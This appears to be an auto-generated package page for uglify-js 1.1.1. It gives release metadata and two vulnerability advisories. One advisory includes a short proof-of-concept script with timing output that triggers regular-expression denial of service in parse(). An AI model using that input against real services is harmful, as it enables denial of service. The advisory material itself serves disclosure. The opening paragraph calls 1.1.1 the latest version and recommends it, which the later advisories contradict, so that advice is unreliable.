UglifyJS, a JavaScript parser, compressor, and beautifier toolkit, saw a minor version update from 1.1.0 to 1.1.1 indicating a likely patch release. Analyzing the metadata, both versions share the same core description, developer Mihai Bazon, repository on GitHub, and lack explicitly defined dependencies or development dependencies. This suggests the core functionality remained consistent between the two versions.
The key difference lies in the version field and the releaseDate. Version 1.1.1 was released on October 11, 2011, while version 1.1.0 was released on September 20, 2011. This timeframe suggests that version 1.1.1 likely includes bug fixes or minor improvements addressing issues found in the preceding 1.1.0 release. For developers using UglifyJS, upgrading to version 1.1.1 is generally recommended as it incorporates the latest bug fixes and optimizations. Specifically, developers are advised to migrate to the latest version, benefiting from improved stability and reliability in their JavaScript minification and code optimization pipelines. The dist.tarball links provide direct access to download the compressed package for integration into their projects. While the changelog isn't available here, it is worth noting that patch releases often address critical bugs that may not be apparent during initial development hence, the latest version gives the developer the most stable experience.
All the vulnerabilities related to the version 1.1.1 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.